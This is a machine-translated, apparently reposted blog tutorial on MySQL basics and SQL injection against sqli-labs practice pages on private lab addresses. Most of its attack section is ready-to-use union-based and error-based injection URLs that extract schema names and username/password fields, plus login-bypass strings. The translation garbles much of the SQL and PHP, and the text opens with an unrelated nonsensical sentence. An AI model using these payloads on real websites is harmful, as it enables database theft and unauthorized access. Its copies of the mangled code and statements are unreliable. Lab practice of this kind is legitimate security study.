チュートリアルの研究ノート(A):09、MYSQLデータベースの脆弱性

実際には、彼女はあなたのように、ただ孤独、あなただけの外出を打つ、あなたの彼女にだけ素敵な、あなただけの彼女の目に、彼女はちょうどちょうどそれらのすべては、前方に来ることを拒否しないことができません。

A、MYSQL声明

データベースを作成します。

データベースのテストを作成します。

操作するデータベースを選択

ユーザーテスト

テーブルを作成します。

テーブルaiyou(ID int型、ユーザ名VARCHAR(20)、パスワードはvarchar(30))を作成します。

テーブルにデータを挿入します

aiyou値への挿入(1、 '管理者'、 '456')。

aiyou値への挿入(2 'ボス'、 '123')。

aiyou値への挿入(3、 ' TTT'、 '123')、(3 'QQQ'、 '321「);
ここに画像を挿入説明
表aiyou内のすべてのレコードを表示します

aiyouから選択*;
ここに画像を挿入説明
aiyouレコードID = 1から条件を満たしたルックアップテーブル

ID = 1 aiyou SELECT * FROM。

Aiyou検索条件レコードID = 1からテーブル、およびディスプレイのユーザー名とパスワードのフィールドの内容のみ

aiyouからユーザー名、パスワードを選択する場所のid = 1;

aiyou記録条件を満たすにテーブルID = 1のユーザ名=「admin」を検索

どこのid = 1、ユーザ名=「管理者」aiyouから選択*;

aiyou記録条件満足するのテーブルID = 1またはユーザ名=「ボス」を検索

* aiyou WHERE SELECT = 1またはユーザ名=「BOSS」から前記ID上、
ここに画像を挿入説明
テスト・データベースをドロップし、データベースを削除

表落下試験、テーブルを削除

update aiyou set password=‘111’ where username=‘boss’ 更新数据

delete from aiyou where username=‘boss’; 删除数据

select load_file(‘c:/111.txt’); 读文件

show databases; 显示当前数据库

show tables;显示选择的数据的所有表
ここに画像を挿入説明
show create table aiyou \G;显示表结构的详细数据

describe 表名;显示表结构,大写可以自动补全

select database(); 显示当前数据库

select version() 显示数据库版本

select user() 显示当前用户

select now();显示当前时间
ここに画像を挿入説明
select system_user();获取系统用户名

select current_user();获取当前用户名

select session_user();连接数据库的用户名
ここに画像を挿入説明
select @@datadir; 读取数据库路径

select @@basedir;mysql安装路径

select @@version_compile_os; 操作系统
ここに画像を挿入説明
二、数据库连接

<?PHPの$ DBHOST = 'localhostの'; // MySQLサーバのホストアドレス$ DBUSER = 'ルート'; // MySQLのユーザ名$ DBPASS = 'ルート'; // MySQLのユーザ名とパスワード$ CONN = mysqli_connect($ DBHOST、$ DBUSER、$ DBPASS);場合($ CONN){ダイス( '接続できませんでした:'。mysqli_error()!);}エコー「データベース接続成功!「; Mysqli_close($ CONN);?>

第三に、抗バイパス注入

目標:HTTP :? //W​​ww.aiyou .COM ID = 1

図1に示すように、ケースを迂回

http:?//www.aiyou .COM ID = 1、1 = 1

2、バイパスを倍増

http://www.aiyou .COM ID = 1 aandnd 1 = 1?

3 00%に迂回

http://www.aiyou .COM ID = 1%の00nd 1 = 1?

第四に、手動注入

1は、http:?//192.168.21.140/sqli/Less-2/index.php ID = 1,1 = 1 正常に戻る
ここに画像を挿入説明
http://192.168.21.140/sqli/Less-2/index.php?id=1 1 = 2エラーが存在噴射示し、返される
ここに画像を挿入説明
2、列の数を決定します

http://192.168.21.140/sqli/Less-2/index.php?id=1正常に戻り3によってため、4三の有無を示すエラーが返された返さ
ここに画像を挿入説明
関節問い合わせ、3

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,2,3 将2或3输入我们想要查询的内容
ここに画像を挿入説明
http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,version(),database(),获取当前数据库及数据库版本

4、获取表名

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ 获取security数据库下的表名
ここに画像を挿入説明
5、获取列名

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ 获取users表下的列名
ここに画像を挿入説明
6、获取字段内容

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users
ここに画像を挿入説明
五、报错注入

1、获取数据库用户

http://192.168.21.137/sqli/Less-1/index.php?id=1’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user()limit 0,1))a from information_schema.tables group by a)b --+
ここに画像を挿入説明
2、获取数据库名称

http://192.168.21.137/sqli/Less-1/index.php?id=1’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select database()limit 0,1))a from information_schema.tables group by a)b --+

http://192.168.21.137/sqli/Less-1/index.php?id=1’ and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
ここに画像を挿入説明
3、获取当前数据库名称,返回的是一个十六进制,需要还原

http://192.168.21.137/sqli/Less-1/index.php?id=1’ and (select 1 from(select count(*),concat((select(select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
ここに画像を挿入説明
ここに画像を挿入説明4、获取表名

http://192.168.21.137/sqli/Less-1/index.php?id=1’ and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
ここに画像を挿入説明
5、获取字段

http://192.168.21.137/sqli/Less-1/index.php?id=1’and(select 1 from(select count(*),concat((select(select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
ここに画像を挿入説明
6、获取字段内容

http://192.168.21.137/sqli/Less-1/index.php?id=1’ and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x7e,password,0x27,0x7e) FROM users LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
ここに画像を挿入説明
六、后台绕过

1、admin’#

2、admin’ or 1=1 #

3、‘or’=‘or’

4、admin’ or ‘1’='1

5、admin’ #

七、获取网站的根沐浴露

1、报错显示

2、site:目标网站 warning

3、遗留文件phpinfo

4、脆弱性の爆発的なパス

5、設定ファイルを読み込み

危険を覚悟で、違法な禁止

国民の関心番号へようこそ:Webセキュリティツールライブラリ

ここに画像を挿入説明

公開された114元の記事 ウォンの賞賛5 ビュー10000 +

おすすめ

転載: blog.csdn.net/weixin_41489908/article/details/104417966